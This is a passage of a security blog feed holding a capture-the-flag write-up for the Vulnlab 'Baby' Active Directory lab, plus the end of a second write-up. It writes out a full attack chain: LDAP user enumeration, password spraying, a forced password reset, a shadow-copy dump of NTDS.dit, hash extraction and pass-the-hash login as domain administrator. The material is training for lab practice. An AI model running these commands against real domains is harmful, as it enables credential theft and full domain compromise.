<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240422225157.png" alt="" /></p>
<p>We are now logged in as nt authority\system. I hope you enjoyed this writeup. For any questions/suggestions, Please feel free to connect with me on LinkedIn. </p>
<h1>References</h1>
<ul>
<li><a href="https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse#writedacl--writeowner">https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse#writedacl--writeowner</a></li>
<li><a href="https://github.com/dirkjanm/BloodHound.py/tree/bloodhound-ce">https://github.com/dirkjanm/BloodHound.py/tree/bloodhound-ce</a></li>
<li><a href="https://github.com/Hackndo/pyGPOAbuse/blob/master/pygpoabuse.py">https://github.com/Hackndo/pyGPOAbuse/blob/master/pygpoabuse.py</a></li>
<li><a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/</a></li>
</ul>
]]></content:encoded>
					
					<wfw:commentRss>https://humbletester.com/vulnlabs-baby2-medium-windows-machine-writeup/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Vulnlab Baby (Easy) Machine &#8211; WriteUp</title>
		<link>https://humbletester.com/vulnlab-baby-easy-machine-writeup/</link>
					<comments>https://humbletester.com/vulnlab-baby-easy-machine-writeup/#respond</comments>
		
		<dc:creator><![CDATA[Vel M]]></dc:creator>
		<pubDate>Sat, 20 Apr 2024 20:00:11 +0000</pubDate>
				<category><![CDATA[Vulnlab Writeup]]></category>
		<category><![CDATA[baby]]></category>
		<category><![CDATA[easy]]></category>
		<category><![CDATA[vulnlab]]></category>
		<category><![CDATA[writeup]]></category>
		<guid isPermaLink="false">https://humbletester.com/?p=1054</guid>

					<description><![CDATA[Introduction Hello Everyone ! This is an writeup of Vulnlab's Baby (easy) machine. For Initial access, LDAP is enumerated to identify users and initial setup password from the AD user object's description. One of the user's logon status was found to be STATUS_PASSWORD_MUST_CHANGE and the password is successfully reset. With the valid credentials, we got [&#8230;]]]></description>
										<content:encoded><![CDATA[<h1>Introduction</h1>
<p>Hello Everyone ! This is an writeup of Vulnlab's Baby (easy) machine. For Initial access, LDAP is enumerated to identify users and initial setup password from the AD user object's description. One of the user's logon status was found to be <code>STATUS_PASSWORD_MUST_CHANGE</code> and the password is successfully reset. With the valid credentials, we got the initial shell using evil-winrm.</p>
<p>For Privilege Escalation, SeBackupPrivilege is abused to obtain the shadow copy of NTDS.dit and SYSTEM. With that, Domain users' hashes are dumped and used to become a domain administrator.</p>
<h1>Enumeration</h1>
<h2>NMAP Scan</h2>
<pre><code class="language-bash">sudo rustscan --ulimit 5000 -b 500 -a 10.10.83.11 -- -sC -sV -Pn | tee baby.nmap
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-&#039; `-&#039;`-----&#039;`----&#039;  `-&#039;  `----&#039;  `---&#039; `-&#039;  `-&#039;`-&#039; `-&#039;
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
---- SNIP ----

PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2024-04-20 09:18:24Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: baby.vl0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
3389/tcp  open  ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
| ssl-cert: Subject: commonName=BabyDC.baby.vl
| Issuer: commonName=BabyDC.baby.vl

---- SNIP ----

| rdp-ntlm-info: 
|   Target_Name: BABY
|   NetBIOS_Domain_Name: **BABY**
|   NetBIOS_Computer_Name: BABYDC
|   DNS_Domain_Name: **baby.vl**
|   DNS_Computer_Name: **BabyDC.baby.vl**
|   DNS_Tree_Name: baby.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2024-04-20T09:19:15+00:00
|_ssl-date: 2024-04-20T09:19:56+00:00; -3s from scanner time.
5357/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49674/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
52557/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: BABYDC; OS: Windows; CPE: cpe:/o:microsoft:windows

---- SNIP ----</code></pre>
<h3>Information from NMAP scan</h3>
<ul>
<li>Open DNS, SMB, Kerberos &amp; LDAP ports shows that we are dealing with mostly an AD domain controller</li>
<li>DNS Computer name confirms that - BabyDC.baby.vl</li>
<li>We have open RDP and WinRM ports as well, which we can use it later when we get a valid username, password/NTLM hash</li>
<li>Lets add the IP and host name to the /etc/hosts file</li>
</ul>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240420213328.png" alt="" /></p>
<h2>Service Enumeration</h2>
<h3>SMB</h3>
<ul>
<li>First step is to test for anonymous login. There are many tools that can be used to test this. E.g.: smbclient, smbmap, netexec (formerly crackmapexec) etc.</li>
<li>I'm using netexec to test the same</li>
</ul>
<pre><code class="language-bash">nxc smb 10.10.83.11 -u &#039;&#039; -p &#039;&#039; --shares 

nxc smb 10.10.83.11 -u &#039;no_such_user&#039; -p &#039;&#039; --shares </code></pre>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240420212146.png" alt="" /></p>
<ul>
<li>Anonymous login is not successful and no shares are listed</li>
<li>If the anonymous login is successful and there are some readable shares listed, Then the next step is to run enum4linux against the target as it can help to obtain some additional information like users, groups, password policy etc.</li>
<li>Unfortunately we cannot do anything further here. Let's move on to LDAP</li>
</ul>
<h3>LDAP</h3>
<ul>
<li>First test on LDAP is to check if anonymous bind is allowed, so that we can enumerate users, groups, computers &amp; other AD objects.</li>
</ul>
<pre><code class="language-bash">nxc ldap BABYDC.baby.vl -u &#039;&#039; -p &#039;&#039; --users | tee tempusers</code></pre>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240420214724.png" alt="" /></p>
<ul>
<li>User details are obtained. Deleted the unwanted details from the saved file and we have in total 11 users</li>
</ul>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240420215039.png" alt="" /></p>
<ul>
<li>Above details are just the names not the actual usernames. We'll use impacket's getADUsers.py script to get the user names.</li>
</ul>
<pre><code class="language-bash">GetADUsers.py -all baby.vl/ -dc-ip 10.10.83.11                                                                          </code></pre>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240420215524.png" alt="" /></p>
<ul>
<li>we could see that there are only 8 users listed here , but we have got 11 users when we enumerated through netexec.</li>
<li>Nevertheless we know the format of the usernames here - <code>[firstname].[lastname]</code></li>
<li>Let's add the missing usernames <code> Ian.Walker,Caroline.Robinson &amp; Administrator</code> and create a list</li>
<li>net exec's ldap has several modules that we can use to enumerate the domain objects further with anonymous login</li>
</ul>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240420220917.png" alt="" /></p>
<ul>
<li>First few modules on the list are not interesting at the moment as we are looking for hints about credentials.</li>
<li>Right now, Potential entry points can be obtained from the description of the user objects, AS-REP roastable users, where we can get the hash and crack it offline to get a valid credentials or password bruteforce with the users list available</li>
<li>We'll start with enumerating the user's description</li>
</ul>
<pre><code class="language-bash">nxc ldap BabyDC.baby.vl -u &#039;&#039; -p &#039;&#039; -d baby.vl -M get-desc-users                                                        </code></pre>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240420222023.png" alt="" /></p>
<ul>
<li>we got information about the initial password of Teresa.Bell present in the description</li>
<li>Upon testing, it happens to be an invalid credential.</li>
</ul>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240420222226.png" alt="" /></p>
<ul>
<li>Lets spray the password on all the users.</li>
</ul>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240420222352.png" alt="" /></p>
<ul>
<li>Still no valid credentials, but the user Caroline.Robinson 's logon status is <code>STATUS_PASSWORD_MUST_CHANGE</code>.</li>
<li>The account is marked to indicate that the password must be changed on the next logon</li>
<li>It's possible that the password found in the description is the old password</li>
</ul>
<h1>Foothold</h1>
<h2>Changing Caroline's password</h2>
<pre><code class="language-bash">smbpasswd -U baby.vl/Caroline.Robinson -r 10.10.83.11</code></pre>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240420223026.png" alt="" /></p>
<ul>
<li>Password changed to <code>Password1!</code></li>
<li>We'll first verify if the password is successfully changed and it is a success</li>
</ul>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240420223240.png" alt="" /></p>
<ul>
<li>Now we have an valid credential, next step is to check the services that <code>Caroline.Robinson</code> has access to, so that we can get a shell</li>
<li>Always check <code>ssh, rdp, wmi, winrm, mssql</code> services for all the valid credentials obtained as per the open ports</li>
<li>Here we have only rdp, winrm, wmi ports open, so lets test one by one</li>
<li>No luck with RDP &amp; WMI, but the user has privileges to use winrm. It can be confirmed by the <code>Pwn3d!</code> keyword against the username</li>
</ul>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240420223916.png" alt="" /></p>
<h2>Initial shell access via Evil-WinRm</h2>
<pre><code class="language-bash">evil-winrm -i 10.10.83.11 -u &#039;Caroline.Robinson&#039; -p &#039;Password1!</code></pre>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240420224159.png" alt="" /></p>
<ul>
<li>Next step is to do privilege escalation to get Administrator access on the machine</li>
<li>Quick wins are first to enumerate the user groups &amp; privileges the user has</li>
</ul>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240420224553.png" alt="" /></p>
<ul>
<li>Backup Operators group &amp; SeBackupPrivilege draws the attention</li>
<li>SeBackupPrivilege can be abused to get a copy of NTDS.dit and SYSTEM file which can used to dump the NTLM hashes from DC</li>
</ul>
<h1>Privilege Escalation</h1>
<ul>
<li>There are various methods present that can be used to abuse SeBackupPrivilege. I'll be using diskshadow method described on <a href="https://juggernaut-sec.com/sebackupprivilege/">https://juggernaut-sec.com/sebackupprivilege/</a> to obtain the shadow copy of NTDS.dit and SYSTEM files</li>
<li>diskshadow.exe is an interactive command but we currently have a non-interactive session using evil-winrm. we have to craft a txt file that can be used with diskshadow.exe. This will allow us to execute required commands to create shadow copy</li>
</ul>
<pre><code class="language-c">echo &quot;set context persistent nowriters&quot; | out-file ./diskshadow.txt -encoding ascii 
echo &quot;add volume c: alias temp&quot; | out-file ./diskshadow.txt -encoding ascii -append 
echo &quot;create&quot; | out-file ./diskshadow.txt -encoding ascii -append 
echo &quot;expose %temp% z:&quot; | out-file ./diskshadow.txt -encoding ascii -append</code></pre>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240420233851.png" alt="" /></p>
<ul>
<li>Create a temp folder on C:/ and run below command to create shadow copy</li>
</ul>
<pre><code class="language-powershell">diskshadow.exe /s C:\Users\Caroline.Robinson\Documents\diskshadow.txt</code></pre>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240420234111.png" alt="" /></p>
<ul>
<li>Lets copy the SYSTEM and NTDS.dit file using robocopy</li>
</ul>
<p><strong>Note: Since we are in DC, we are targeting NTDS.dit file. For Standalone machines, SAM must be targeted. The SAM file contains local user hashes, whereas the NTDS.dit file contains all of the domain user hashes</strong></p>
<pre><code class="language-powershell">robocopy /b Z:\Windows\system32\Config C:\temp  SYSTEM

robocopy /b Z:\Windows\NTDS\ C:\temp  ntds.dit</code></pre>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240420234817.png" alt="" /></p>
<ul>
<li>Download it to Kali machine and we can dump the hashes using impacket's secretsdump.py</li>
</ul>
<pre><code class="language-bash">secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL</code></pre>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240421000518.png" alt="" /></p>
<ul>
<li>Use the Administrator's (Domain Admin) NTLM hash to login to the machine</li>
</ul>
<pre><code class="language-powershell">evil-winrm -i 10.10.90.138 -u &#039;Administrator&#039; -H &#039;redacted&#039;</code></pre>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240421000924.png" alt="" /></p>
<h1>Conclusion</h1>
<p>Finally we pwned the baby machine from Vulnlab. Key take away's from this machine personally are</p>
<ul>
<li>Attention to the minor details during enumeration</li>
<li>Difference in abusing SeBackupPrivilege between a domain joined and a standalone machine</li>
</ul>
<p>I know, this is an long post for an easy machine. Tried to add extensive details and screenshots to help the beginners doing their first few boxes. Thank you for sticking till last. Cheers ! </p>
<h1>References</h1>
<p><a href="https://juggernaut-sec.com/sebackupprivilege/">https://juggernaut-sec.com/sebackupprivilege/</a><br />
<a href="https://learn.microsoft.com/en-us/windows/win32/api/subauth/nf-subauth-msv1_0subauthenticationroutineex">https://learn.microsoft.com/en-us/windows/win32/api/subauth/nf-subauth-msv1_0subauthenticationroutineex</a><br />
<a href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap#ldap-anonymous-binds">https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap#ldap-anonymous-binds</a><br />
<a href="https://www.n00py.io/2021/09/resetting-expired-passwords-remotely/">https://www.n00py.io/2021/09/resetting-expired-passwords-remotely/</a></p>
]]></content:encoded>
					
					<wfw:commentRss>https://humbletester.com/vulnlab-baby-easy-machine-writeup/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
